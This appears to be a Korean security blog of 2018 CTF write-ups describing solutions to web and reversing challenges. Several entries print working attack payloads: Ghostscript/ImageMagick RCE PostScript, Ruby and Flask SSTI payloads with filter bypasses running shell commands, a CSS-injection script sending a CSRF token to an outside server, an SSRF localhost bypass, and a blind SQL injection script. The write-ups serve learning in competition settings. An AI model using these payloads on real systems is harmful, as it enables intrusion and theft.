문제에 들어가보면 http://fun.ritsec.club:8008/cgi-bin/stats 경로가 소스 내에 iframe으로 박혀있다.


cgi-bin보고 일단 shell shock 이겠다 싶어서 user-agent 에 기본 shell shock구문을 넣넣었을 때 뭔가 에러가 터지는걸 통해 일단 취약하다는걸 알 수 있었다.



여기서 명령어를 이것저것실행시켜보다가 echo외에는 실행되는게 없었다. 처음에는 명령어가 존재하는 경로가 일반적이지 않은건가 싶어서 이것저것 해보다가 잘 안됬다. 그러다 /cgi-bin/stats 경로로 취약점이 따로 있나싶어서 찾아보다 exploit 코드가 있었다.


https://github.com/hmlio/vaas-cve-2014-6271


위 사이트에서 익스코드로 시도해보니까 명령어가 잘 실행되서 플래그 파일 찾아서 내용을 보고 플래그를 구했다.







'CTF > Writeup' 카테고리의 다른 글

RITSEC CTF 2018 Archivr  (0) 2018.11.19
RITSEC CTF 2018 Lazy Dev  (0) 2018.11.19
RITSEC CTF 2018 Crazy Train  (0) 2018.11.19
SCTF 2018 dingJMax  (0) 2018.10.30
SECCON 2018 Quals GhostKingdom  (0) 2018.10.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제에 들어가보면 여러 기능 중 포스트를 생성하는 기능 중 article[a] 파라미터에 입력한 값이 응답 값에 출력된다.

 

 

여기서 Flask SSTI라고 생각하고 구문 몇개 넣어봤는데 아닌 것 같았다. 그러다 SQLI인가 하고 이것저것 넣어보다 sleep이 먹히길래 Mysql SQLI인가보다 했다가 엄청 삽질했다. SQLI라기엔 문법적으로 안먹히는 구문이 너무 많았고 여기서 한참고민하다 SSTI중에 Flask말고 다른 언어쪽으로 터지나 싶어서 찾아봤다.

 

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections

 

요 사이트에 있는 구문들을 테스트해보다 Ruby SSTI 구문이 먹히는걸 볼 수 있었다.

<%= File.open('/etc/passwd').read %>

 

 

이제 이걸로 RCE가 되는 루비 구문찾아서 넣어봤더니 필터에 걸리는건지 잘 안됬다. 그래서 디렉토리 목록을 확인할 수 있는 구문을 찾아서 플래그파일명 확인하고 내용보니 플래그가 있었다.

 





 

 

 

 

 

 

 

 

 

 

 

 

'CTF > Writeup' 카테고리의 다른 글

RITSEC CTF 2018 Lazy Dev  (0) 2018.11.19
RITSEC CTF 2018 What a cute dog!  (0) 2018.11.19
SCTF 2018 dingJMax  (0) 2018.10.30
SECCON 2018 Quals GhostKingdom  (0) 2018.10.29
BSides Delhi CTF 2018 st4t1c  (0) 2018.10.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

SCTF 2018 dingJMax

2018. 10. 30. 09:43

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

문제에 들어가보면 로그인 및 회원가입 기능이 존재하는데 회원가입 후 로그인을 해보면 아래와 같이 3가지 기능이 존재하며, 이 중 2가지만 사용이 가능하다.

 

 

 

첫번 째 기능을 보면 어드민한테 메시지를 보내는 기능과 메시지를 보내기전 미리보기 기능이 있는데 XSS는 안터진다.

 

이 때 미리보기 기능을 사용할 때 잘 보면 파라미터로 아래와 같이 base64인코딩된 값이 넘어가는데 이 값을 디코딩해보면 아래와 같이 css 값이 나오는 걸 통해 css injection이 터지는걸 알 수 있다.

 

 

base64 decode = span{background-color:red;color:yellow}

 

일단 여기까지는 이걸로 뭔갈 해볼 수 있겠다 싶은게 없었고 다음 기능을 살펴보니 내가 요청한 값을 서버측에서 요청한 뒤 스크린샷을 찍어서 이미지형태로 반환해주는 기능이었다.

 

 

 

여기서 SSRF가 터지겠다 싶었는데 http, https 제외하고 모든 wrapper 사용이 안되었다. http를 통해 뭘해볼까 하다가 처음 기능 중에 로컬에서만 접근 가능한 기능이 존재했던게 생각나 http://127.0.0.1/ 요런식으로 접근해보니 추가적으로 127, ::1, local 도 필터하고 있었다.

근데 이거는 Ip to number Trick으로 우회가 가능해서 아래와 같은 식으로 요청했더니 정상적으로 로컬에서 접근해 비활성화되어있던 기능이 활성화된 것을 볼 수 있었다.

 

bypass = http://2130706433/?user=youngsin1&pass=123456&action=login

 

 

근데 해당 사진만 가지고는 뭘 할 수 있는게 없었다.

 

여기서 Upload image 기능을 사용하기 위해 Css Injection을 사용해주면되는데 Css Injection을 통해 읽어올 수 있는 페이지를 잘 보면 아래와 같이 <input type="hidden" name="csrf" value="2d7e4a5f52f1ec86e7931e"> 요 부분의 값이 현재 로그인한 계정의 세션값과 같다는걸 볼 수 있었다. 

 

이제 위의 두 가지 기능을 통해 로컬에서 접근했을 때의 세션 값을 아래 스크립트를 통해 가져왔다.

 

css_injection_payload_create.py

import base64
import urllib2

strings = "0123456789abcdef"
URL = "http://2130706433/?msg=aaa&action=msgadm2&css="
find_cookie = "62def7a57920dbee757e0d"
css_data = ""
for i in strings:
css_data += """input[name="csrf"][value^="{}"] {{
background: url(http://myserverip/abc.php?x={});
}}
""".format (find_cookie + i, find_cookie + i)

print urllib2.quote((URL + base64.b64encode(css_data.encode('utf-8')).decode('utf-8')))

get local session = 62def7a57920dbee757e0d

 

이제 이 값을 세션 값에 세팅해주면 Upload Image기능을 사용할 수 있는데 이 때 해당 기능을 이용해보면 업로드한 파일을 gif로 convert해주는 기능이 존재한다.

 

 

 

 

convert한다는걸 통해 일단 imagemagick를 사용할 거라 생각했고 관련 페이로드를 찾다보니 최근에 Vulnerabilities in ghostscript and imagemagick 요런식으로 취약점이 나온게 있었다. 문제명에 Ghost가 들어간걸보니 이거다 싶었고 페이로드를 요기서 구해서 사용했다.

https://www.exploit-db.com/exploits/45243/

 

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls) currentdevice putdeviceprops

 

요런식으로 파일에 저장한뒤 업로드한 다음 convert하니 아래와 같이 에러가 터지는걸 통해 rce가 터지는걸 알 수 있었다. 

 

 

 

 

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops

 

 

 

 

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

 


 


Flag = SECCON{CSSinjection+GhostScript/ImageMagickRCE}


'CTF > Writeup' 카테고리의 다른 글

RITSEC CTF 2018 Crazy Train  (0) 2018.11.19
SCTF 2018 dingJMax  (0) 2018.10.30
BSides Delhi CTF 2018 st4t1c  (0) 2018.10.29
BSides Delhi CTF 2018 avap  (0) 2018.10.29
BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 바이너리는 헥스레이가 안되서 직접 어셈블리 디버깅하면서 동적분석을 했다.

 

쭉쭉 디버깅하다보면 일단 환경변수로 team_name이라는 변수에 bi0s값이 세팅되어 있어야되고 이 값을 통해 특정로직을 거쳐 0xc라는 값을 만든다. 그 다음 입력값에 대해 홀수,짝수번째 나눠서 간단한 연산을 할 때 위에서 구한 값을 사용한다.

 

대충 아래와 같이 스크립트 짜서 돌려주면 플래그가 나온다.

 

result = "?5b9no=k!5<jW;h7W~b4#|"
a = ""
for i in range(len(result)-1,-1,-1):
if i%2==1:
a += chr((ord(result[i])^0xc)-4)
else:
a += chr((ord(result[i]) ^ 0xc) + 4)
print "Find Flag = " + a
Find Flag = l34rn_7h3_b451c5_f1r57

 

 

'CTF > Writeup' 카테고리의 다른 글

SCTF 2018 dingJMax  (0) 2018.10.30
SECCON 2018 Quals GhostKingdom  (0) 2018.10.29
BSides Delhi CTF 2018 avap  (0) 2018.10.29
BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

메인 함수를 보면 간단하게 입력값을 받아서 지역변수에 존재하는 값과 비교를 한다.

 

 

 

근데 strcmp가 custom strcmp라 함수 내부로 들어가보면 아래와 같은 로직으로 이루어져 있고 비교시에 사용하는 key값이 필요하다.

 

 

key값은 아래 함수를 통해 구할 수 있다.

 

 

 

필요한건 다 구했으니 이제 key값을 brute forcing으로 구해주고 구한 값으로 custom strcmp함수 로직에 맞춰 xor 해주는 코드 짜서 돌려주면 플래그가 나온다.

 

a = [97,107,102,96,124,51,116,88,98,51,50,126,88,51,116,88,54,115,88,96,52,115,116,122]
key = 0
result = ""

for i in range(0,25):
if i*(i-14) == -49:
key = i
print "Find Key[*] = " + str(i)
break

for i in range(0,len(a)):
result += chr(a[i]^key)
print result
Find Key[*] = 7
flag{4s_e45y_4s_1t_g3ts}

'CTF > Writeup' 카테고리의 다른 글

SECCON 2018 Quals GhostKingdom  (0) 2018.10.29
BSides Delhi CTF 2018 st4t1c  (0) 2018.10.29
BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 아래와 같이 자바스크립트 내에 암호화된 함수가 존재한다.

 

source


<!DOCTYPE html>

<html>

<head>

<title>Auth3ntication</title>

<script type="text/javascript" src="http://code.jquery.com/jquery-1.11.1.js"></script>


</head>

<body>

<h4>Auth3ntication

</h4>

<hr />


<form action="#" method="post">

<label>Username</label>

<input class="form-control" type="text" name="username" id="cuser" placeholder="Username" />

<label>Password</label>

<input type="password" class="form-control" name="password" id="cpass" placeholder="Password" />

<input type="submit" style="margin-top: 12px;" value="Login" class="form-control btn btn-success c_submit" />

</form>

<script type="text/javascript">

$(".c_submit").click(function(event) {

event.preventDefault();

var u = $("#cpass").val();

var k = $("#cuser").val();

var func = "\x0d\x13\x45\x17\x48\x09\x5e\x4b\x17\x3c\x1a\x1f\x2b\x1b\x7a\x0c\x1f\x66\x0b\x1a\x3e\x51\x0b\x41\x11\x58\x17\x4d\x55\x16\x42\x01\x52\x4b\x0f\x5a\x07\x00\x00\x07\x06\x40\x4d\x07\x5a\x07\x14\x19\x0b\x07\x5a\x4d\x03\x47\x01\x13\x43\x0b\x06\x50\x06\x13\x7a\x02\x5d\x4f\x5d\x18\x09\x41\x42\x15\x59\x48\x4d\x4f\x59\x1d\x43\x10\x15\x00\x1a\x0e\x17\x05\x51\x0d\x1f\x1b\x08\x1a\x0e\x03\x1c\x5d\x0c\x05\x15\x59\x55\x09\x0d\x0b\x41\x0e\x0e\x5b\x10\x5b\x01\x0d\x0b\x55\x17\x02\x5a\x0a\x5b\x05\x10\x0d\x52\x43\x40\x15\x46\x4a\x1d\x5f\x4a\x14\x48\x4b\x40\x5f\x55\x10\x42\x15\x14\x06\x07\x46\x01\x55\x16\x42\x48\x10\x4b\x49\x16\x07\x07\x08\x11\x18\x5b\x0d\x18\x50\x46\x5c\x43\x0a\x1c\x59\x0f\x43\x17\x58\x11\x04\x14\x48\x57\x0f\x0a\x46\x17\x48\x4a\x07\x1a\x46\x0c\x19\x12\x5a\x22\x1f\x0d\x06\x53\x43\x1b\x54\x17\x06\x1a\x0d\x1a\x50\x43\x18\x5a\x16\x07\x14\x4c\x4a\x1d\x1e";

buf = "";

if(k.length == 9) {

for(i = 0, j = 0; i < func.length; i++) {

c = parseInt(func.charCodeAt(i));

c = c ^ k.charCodeAt(j);

if(++j == k.length) {

j = 0;

}

buf += eval('"' + a(x(c)) + '"');

}

eval(buf);

} else {

$("#cresponse").html("<div class='alert alert-danger'>Invalid creds...</div>");

}

});

function a(h) {

if(h.length != 2) {

h = "\x30" + h;

}

return "\x5c\x78" + h;

}

function x(d) {

if(d < 0) {

d = 0xFFFFFFFF + d + 1;

}

return d.toString(16).toUpperCase();

}

</script>

</div>

<div id="cresponse">

</div>

<hr />

</body>

</html>

 

코드를 보면 9자리의 username을 입력받아서 암호화된 함수와 xor를 한 뒤 이 값을 eval을 통해 실행한다.

 

brute forcing을 해야되는데 최대한 경우의 수를 줄이기위해서 username은 소문자 알파벳,숫자로만 한정지었고 xor를 통해 복호화된 값이 자바스크립트 코드이기 때문에 최대한 사용되지 않을수 있는 문자들이 포함된 경우는 제외해서 username list를 구하도록 했다.

 

 

get_username_list.py
a = "\x0d\x13\x45\x17\x48\x09\x5e\x4b\x17\x3c\x1a\x1f\x2b\x1b\x7a\x0c\x1f\x66\x0b\x1a\x3e\x51\x0b\x41\x11\x58\x17\x4d\x55\x16\x42\x01\x52\x4b\x0f\x5a\x07\x00\x00\x07\x06\x40\x4d\x07\x5a\x07\x14\x19\x0b\x07\x5a\x4d\x03\x47\x01\x13\x43\x0b\x06\x50\x06\x13\x7a\x02\x5d\x4f\x5d\x18\x09\x41\x42\x15\x59\x48\x4d\x4f\x59\x1d\x43\x10\x15\x00\x1a\x0e\x17\x05\x51\x0d\x1f\x1b\x08\x1a\x0e\x03\x1c\x5d\x0c\x05\x15\x59\x55\x09\x0d\x0b\x41\x0e\x0e\x5b\x10\x5b\x01\x0d\x0b\x55\x17\x02\x5a\x0a\x5b\x05\x10\x0d\x52\x43\x40\x15\x46\x4a\x1d\x5f\x4a\x14\x48\x4b\x40\x5f\x55\x10\x42\x15\x14\x06\x07\x46\x01\x55\x16\x42\x48\x10\x4b\x49\x16\x07\x07\x08\x11\x18\x5b\x0d\x18\x50\x46\x5c\x43\x0a\x1c\x59\x0f\x43\x17\x58\x11\x04\x14\x48\x57\x0f\x0a\x46\x17\x48\x4a\x07\x1a\x46\x0c\x19\x12\x5a\x22\x1f\x0d\x06\x53\x43\x1b\x54\x17\x06\x1a\x0d\x1a\x50\x43\x18\x5a\x16\x07\x14\x4c\x4a\x1d\x1e"
for w in range(1,10):
string_list = "list_"+str(w)+" = ["
for j in range(48,123):
if j>58 and j<97:
continue
result = ""
for k in range(0,len(a)):
if k%9 == w-1:
result += chr(ord(a[k])^j)
status = 1
for i in range(0,len(result)):
if (ord(result[i])<32 and ord(result[i])!=9 and ord(result[i])!=0xa and ord(result[i])!=0xd) or ord(result[i])>126 or result[i]=="@" or result[i]=="`" or result[i]=="[" or result[i]=="]" or result[i]=="|" or result[i]=="&" or result[i]=="*" or result[i]=="%":
#if ord(result[i]) < 33 or ord(result[i]) > 126:
status = 0
break
if status == 1:
string_list += str(j)+","

string_list += "]"
print string_list.replace(",]","]")

result

 

list_1 = [100,101,102,110]
list_2 = [97,99,100,105,106,114,117]
list_3 = [52,109,115]
list_4 = [97,98,115]
list_5 = [56,104,112,118]
list_6 = [52]
list_7 = [48,51,53,54,57,58,99,106,117,118]
list_8 = [48,107,116,119]
list_9 = [53,54]

 

 

위 코드를 통해 구한 list를 통해 brute forcing을 진행해주면 되는데 이 때 결과 값에 존재할 만한 문자열들 (var , func, flag, #cresponse 등)와 같은 문자열들이 포함된 경우 출력해주도록 이것저것 해보니 정상적으로 복호화된 코드가 나왔다.

 

 

decrypt_func.py

a = "\x0d\x13\x45\x17\x48\x09\x5e\x4b\x17\x3c\x1a\x1f\x2b\x1b\x7a\x0c\x1f\x66\x0b\x1a\x3e\x51\x0b\x41\x11\x58\x17\x4d\x55\x16\x42\x01\x52\x4b\x0f\x5a\x07\x00\x00\x07\x06\x40\x4d\x07\x5a\x07\x14\x19\x0b\x07\x5a\x4d\x03\x47\x01\x13\x43\x0b\x06\x50\x06\x13\x7a\x02\x5d\x4f\x5d\x18\x09\x41\x42\x15\x59\x48\x4d\x4f\x59\x1d\x43\x10\x15\x00\x1a\x0e\x17\x05\x51\x0d\x1f\x1b\x08\x1a\x0e\x03\x1c\x5d\x0c\x05\x15\x59\x55\x09\x0d\x0b\x41\x0e\x0e\x5b\x10\x5b\x01\x0d\x0b\x55\x17\x02\x5a\x0a\x5b\x05\x10\x0d\x52\x43\x40\x15\x46\x4a\x1d\x5f\x4a\x14\x48\x4b\x40\x5f\x55\x10\x42\x15\x14\x06\x07\x46\x01\x55\x16\x42\x48\x10\x4b\x49\x16\x07\x07\x08\x11\x18\x5b\x0d\x18\x50\x46\x5c\x43\x0a\x1c\x59\x0f\x43\x17\x58\x11\x04\x14\x48\x57\x0f\x0a\x46\x17\x48\x4a\x07\x1a\x46\x0c\x19\x12\x5a\x22\x1f\x0d\x06\x53\x43\x1b\x54\x17\x06\x1a\x0d\x1a\x50\x43\x18\x5a\x16\x07\x14\x4c\x4a\x1d\x1e"
list_1 = [100,101,102,110]
list_2 = [97,99,100,105,106,114,117]
list_3 = [52,109,115]
list_4 = [97,98,115]
list_5 = [56,104,112,118]
list_6 = [52]
list_7 = [48,51,53,54,57,58,99,106,117,118]
list_8 = [48,107,116,119]
list_9 = [53,54]
result = ""
for i in range(0,len(list_1)):
for o in range(0, len(list_2)):
for p in range(0, len(list_3)):
for u in range(0, len(list_4)):
for q in range(0,len(list_5)):
for w in range(0, len(list_6)):
for x in range(0, len(list_7)):
for c in range(0, len(list_8)):
for n in range(0, len(list_9)):
result = ""
for j in range(0,len(a)):
if j%9==0:
result += chr(ord(a[j])^list_1[i])
elif j%9==1:
result += chr(ord(a[j]) ^ list_2[o])
elif j % 9 == 2:
result += chr(ord(a[j]) ^ list_3[p])
elif j % 9 == 3:
result += chr(ord(a[j]) ^ list_4[u])
elif j % 9 == 4:
result += chr(ord(a[j]) ^ list_5[q])
elif j % 9 == 5:
result += chr(ord(a[j]) ^ list_6[w])
elif j % 9 == 6:
result += chr(ord(a[j]) ^ list_7[x])
elif j % 9 == 7:
result += chr(ord(a[j]) ^ list_8[c])
elif j % 9 == 8:
result += chr(ord(a[j]) ^ list_9[n])
else:
result += "?"
if "#cresponse" in result.lower():
print "Find Username = " + chr(list_1[i])+chr(list_2[o])+chr(list_3[p])+chr(list_4[u])+chr(list_5[q])+chr(list_6[w])+chr(list_7[x])+chr(list_8[c])+chr(list_9[n])
print result

Result


 

Find Username = dumbh4ck5 if(u == "XorIsNotSooS3cur3") { if(document.location.href.indexOf("?p=") == -1) { document.location = document.location.href + "?p=" + u; } } else { $("#cresponse").html("<div class='error'>Wrong password sorry.")}



password로 XorIsNotSooS3cur3를 넣어주니 플래그가 나왔다.



'CTF > Writeup' 카테고리의 다른 글

BSides Delhi CTF 2018 st4t1c  (0) 2018.10.29
BSides Delhi CTF 2018 avap  (0) 2018.10.29
BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
InCTF 2018 TorPy  (0) 2018.10.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

간단한 Sqli이다.


소스는 아래와 같다.


<?php 

include "./config.php";

include "./flag.php";

error_reporting(0);


$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";

$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

if(preg_match($black_list, $_GET['user'])) exit(":P"); 

if(preg_match($black_list, $_GET['pw'])) exit(":P"); 



$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'"; 


$result = mysql_query($query);

$result = mysql_fetch_array($result);

$admin_pass = mysql_fetch_array(mysql_query("select pw from chal where user='admin'"));

echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";

if($result['user']) echo "<h2>Welcome {$result['user']}</h2>"; 

if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){

    echo $flag;

}


highlight_file(__FILE__); 


?>


일단 필터가 그다지 빡세지가 않아서 \ , ;%00 , left , right, regexp , /**/ , ||, && 요정도 써서 블라인드로 어드민 패스워드 뽑아주면 된다.

 

그다음 user명에 admin을 지정해줄 때 unicode trick으로 admîn 요런식으로 넣어서 bypass해주면 플래그를 구할 수 있다.

 

import requests

def get_password(payload):
url = "http://35.200.215.237/"
params = {'user': '\\','pw':payload}
response = requests.get(url,params=params)
if "Welcome admin" in response.text:
return True
else:
return False

def get_flag(user,password):
url = "http://35.200.215.237/"
params = {'user':user,'pw':password}
response = requests.get(url,params=params)
print response.text


admin_pw = ""
for i in range(1,100):
for j in range(32,128):
if chr(j)=="?" or chr(j)=="*":
continue
payload = "/**/||/**/user/**/regexp/**/0x5e61646d696e24/**/&&/**/right(left(pw,"+str(i)+"),1)/**/regexp/**/"+hex(j)+";\w00"
if get_password(payload) == True:
admin_pw += chr(j)
break
if j==127:
break

get_flag("admîn",admin_pw)




'CTF > Writeup' 카테고리의 다른 글

BSides Delhi CTF 2018 avap  (0) 2018.10.29
BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
InCTF 2018 TorPy  (0) 2018.10.08
InCTF 2018 WildCat  (0) 2018.10.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 바이너리와 같은 경우 핵스레이가 안되서 gdb로 디버깅하면서 코드 분석을 했다.


먼저 objudmp로 대충 봐보면 섹션이 하나밖에 없고 크기가 작아서 분석하는데 어려움은 없었다.


0000000000400080 <.text>:

  400080: eb 50                 jmp    0x4000d2

  400082: 48 31 c0              xor    rax,rax 

  400085: fe c0                 inc    al

  400087: 48 31 ff              xor    rdi,rdi

  40008a: 48 ff c7              inc    rdi

  40008d: 5e                    pop    rsi

  40008e: b2 2e                 mov    dl,0x2e

  400090: 0f 05                 syscall 

  400092: 2c 2e                 sub    al,0x2e

  400094: ff cf                 dec    edi

  400096: 0f 05                 syscall 

  400098: 48 0f b6 7e 01        movzx  rdi,BYTE PTR [rsi+0x1] 

  40009d: 48 31 3e              xor    QWORD PTR [rsi],rdi

  4000a0: 48 ff c6              inc    rsi

  4000a3: 48 ff ca              dec    rdx

  4000a6: 75 f0                 jne    0x400098 ; 반복문 end

  4000a8: 83 e1 2e              and    ecx,0x2e

  4000ab: 80 c1 26              add    cl,0x26

  4000ae: 48 8d 7e 07           lea    rdi,[rsi+0x7]

  4000b2: 48 8d 77 cb           lea    rsi,[rdi-0x35]

  4000b6: f3 a6                 repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]

  4000b8: 48 85 c9              test   rcx,rcx

  4000bb: 75 49                 jne    0x400106

  4000bd: 34 2f                 xor    al,0x2f

  4000bf: 68 59 61 79 21        push   0x21796159

  4000c4: 48 89 e6              mov    rsi,rsp

  4000c7: b2 04                 mov    dl,0x4

  4000c9: bf 01 00 00 00        mov    edi,0x1

  4000ce: 0f 05                 syscall 

  4000d0: eb 34                 jmp    0x400106

  4000d2: e8 ab ff ff ff        call   0x400082 

  4000d7: 57                    push   rdi

  4000d8: 65 6c                 gs ins BYTE PTR es:[rdi],dx

  4000da: 63 6f 6d              movsxd ebp,DWORD PTR [rdi+0x6d]

  4000dd: 65 20 74 6f 20        and    BYTE PTR gs:[rdi+rbp*2+0x20],dh

  4000e2: 74 68                 je     0x40014c

  4000e4: 69 73 20 43 68 61 6c  imul   esi,DWORD PTR [rbx+0x20],0x6c616843

  4000eb: 6c                    ins    BYTE PTR es:[rdi],dx

  4000ec: 21 20                 and    DWORD PTR [rax],esp

  4000ee: 0a 45 6e              or     al,BYTE PTR [rbp+0x6e]

  4000f1: 74 65                 je     0x400158

  4000f3: 72 20                 jb     0x400115

  4000f5: 74 68                 je     0x40015f

  4000f7: 65 20 4b 65           and    BYTE PTR gs:[rbx+0x65],cl

  4000fb: 79 20                 jns    0x40011d

  4000fd: 74 6f                 je     0x40016e

  4000ff: 20 77 69              and    BYTE PTR [rdi+0x69],dh

  400102: 6e                    outs   dx,BYTE PTR ds:[rsi]

  400103: 3a 20                 cmp    ah,BYTE PTR [rax]

  400105: 00 31                 add    BYTE PTR [rcx],dh

  400107: c0                    (bad)  

  400108: b0 3c                 mov    al,0x3c

  40010a: 0f 05                 syscall 

  40010c: 0a 0d 06 1c 22 38     or     cl,BYTE PTR [rip+0x38221c06]        # 0x38621d18

  400112: 18 26                 sbb    BYTE PTR [rsi],ah

  400114: 36 0f 39              ss (bad) 

  400117: 2b 1c 59              sub    ebx,DWORD PTR [rcx+rbx*2]

  40011a: 42 2c 36              rex.X sub al,0x36

  40011d: 1a 2c 26              sbb    ch,BYTE PTR [rsi+riz*1]

  400120: 1c 17                 sbb    al,0x17

  400122: 2d 39 57 43 01        sub    eax,0x1435739

  400127: 07                    (bad)  

  400128: 2b 38                 sub    edi,DWORD PTR [rax]

  40012a: 09 07                 or     DWORD PTR [rdi],eax

  40012c: 1a 01                 sbb    al,BYTE PTR [rcx]

  40012e: 17                    (bad)  

  40012f: 13 13                 adc    edx,DWORD PTR [rbx]

  400131: 17                    (bad)  

  400132: 2d 39 0a 0d 06        sub    eax,0x60d0a39

  400137: 46 5c                 rex.RX pop rsp

  400139: 7d                    .byte 0x7d



전체적인 흐름은 syscall을 통해 입력 값을 받고 input[i]^input[i+1] 연산을 총 46회 반복한다.


이 값이 특정영역의 값과 같으면 되는데 특정영역의 값은  repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 요 명령어 실행 시 rdi 레지스터에 존재하는 주소에서 46 byte 값을 써주면 된다.


로직이 간단해서 코드 짜는건 간단했고 z3로 돌려주니 flag가 나왔다.


from z3 import *


result = [0x0a,0x0d,0x06,0x1c,0x22,0x38,0x18,0x26,0x36,0x0f,0x39,0x2b,0x1c,0x59,0x42,0x2c,0x36,0x1a,0x2c,0x26,0x1c,0x17,0x2d,0x39,0x57,0x43,0x01,0x07,0x2b,0x38,0x09,0x07,0x1a,0x01,0x17,0x13,0x13,0x17,0x2d,0x39,0x0a,0x0d,0x06,0x46,0x5c,0x7d,0x00]

a = []

s = Solver()


for i in range(0,47):

    a.append(BitVec('a['+str(i)+']',8))


for i in range(0,46):

    s.add( (a[i]^a[i+1])==result[i])


flag = ""

while s.check() == z3.sat:

    flag = ""

    m = s.model()

    for i in range(0, 47):

        flag += chr(int(str(m[a[i]])))

    if "flag" in flag:

        print flag

    for i in range(0,47):

        s.add(m[a[i]]!=a[i])



Flag = flag{Yay_if_th1s_is_yer_f1rst_gnisrever_flag!} 







'CTF > Writeup' 카테고리의 다른 글

BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
InCTF 2018 TorPy  (0) 2018.10.08
InCTF 2018 WildCat  (0) 2018.10.08
InCTF 2018 S3cur3 Bank  (0) 2018.10.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

InCTF 2018 TorPy

CTF/Writeup 2018. 10. 8. 11:05

문제에 들어가보면 별다른 기능은 없고 name파라미터에 값을 넣어서 요청하면 응답 값 주석 내에 해당 값이 출력되는데 여기서 flask SSTI가 터진다.


필터링되어있는 구문을 보면 대충 아래와 같은데 상당히 조건이 까다로웠다.


filter ex) [ , ] , class , builtins , request , attr , app , url_for , config , file 등..


특수문자같은경우 대괄호 제외하고는 필터되는게 없었고 키워드같은경우는 상당히 다양하게 필터가 되어있는 상황이었다.


여러가지 테스트해본 결과 self , __dict__ , get_flashed_messages , session 정도가 필터링이 되지 않고있었는데 실제로 사용해보면 500에러가 터지면서 제대로 사용이 안되었고 추가로 좀 더 삽질을 하다가 getitem이 먹히고 있어서 아래와 같이 적절히 필터우회해서 플래그를 찾았다.


{{globals().__getitem__('__builti''ns__').__getitem__('ev''al')('__imp''ort__')('o''s').__dict__.__getitem__('po''pen')('ls%20-al%20/').read()}}


{{globals().__getitem__('__builti''ns__').__getitem__('ev''al')('__imp''ort__')('o''s').__dict__.__getitem__('po''pen')('cat%20/flag').read()}}



'CTF > Writeup' 카테고리의 다른 글

BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
InCTF 2018 WildCat  (0) 2018.10.08
InCTF 2018 S3cur3 Bank  (0) 2018.10.08
InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,